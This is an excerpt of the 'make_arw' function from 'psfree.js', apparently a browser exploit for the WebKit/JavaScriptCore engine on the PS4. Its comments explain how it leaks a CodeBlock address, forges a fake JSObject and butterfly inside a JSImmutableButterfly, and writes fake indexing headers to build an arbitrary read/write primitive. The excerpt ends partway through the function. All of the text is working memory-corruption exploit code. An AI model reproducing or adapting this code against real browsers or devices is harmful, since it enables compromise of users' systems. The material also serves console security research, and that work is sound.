Function make_arw

g2all/700/psfree.js:659–817

(reader, view2, pop)

}

async function make_arw(reader, view2, pop) {
  const rdr = reader;

  // we have to align the fake object to atomSize (16) else the process
  // crashes. we don't know why
  //
  // since cells (GC memory chunks) are always aligned to atomSize, there
  // might be code that's assuming that all GC pointers are aligned
  //
  // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
  // PS4 8.0x
  const fakeobj_off = 0x20;
  const fakebt_base = fakeobj_off + off.size_jsobj;
  // sizeof JSC::IndexingHeader
  const indexingHeader_size = 8;
  // sizeof JSC::ArrayStorage
  const arrayStorage_size = 0x18;
  // there's only the .raw property
  const propertyStorage = 8;
  const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;

  log("STAGE: leak CodeBlock");
  // has too be greater than 0x10. the size of JSImmutableButterfly
  const bt_size = 0x10 + fakebt_off + arrayStorage_size;
  const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);

  const view = rdr.rstr_view;
  const view_p = rdr.m_data.sub(off.strimpl_inline_str);
  const view_save = new Uint8Array(view);

  view.fill(0);
  make_ssv_data(view2, view, view_p, bt_addr, bt_size);

  const bt = new BufferView(pop.state);
  view.set(view_save);

  log("ArrayBuffer pointing to JSImmutableButterfly:");
  for (let i = 0; i < bt.byteLength; i += 8) {
    log(`${bt.read64(i)} | ${hex(i)}`);
  }

  // the immutable butterfly's indexing type is ArrayWithInt32 so
  // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
  // for JSObjects to recursively visit. this means that we can write
  // anything to the the butterfly's data area without fear of a GC crash

  const val_true = 7; // JSValue of "true"
  const strs_cell = rdr.read64(strs_addr);

  bt.write64(fakeobj_off, strs_cell);
  bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));

  // since .raw is the first ever created property, it's just besides the
  // indexing header
  bt.write64(fakebt_off - 0x10, val_true);
  // indexing header's publicLength and vectorLength
  bt.write32(fakebt_off - 8, 1);
  bt.write32(fakebt_off - 8 + 4, 1);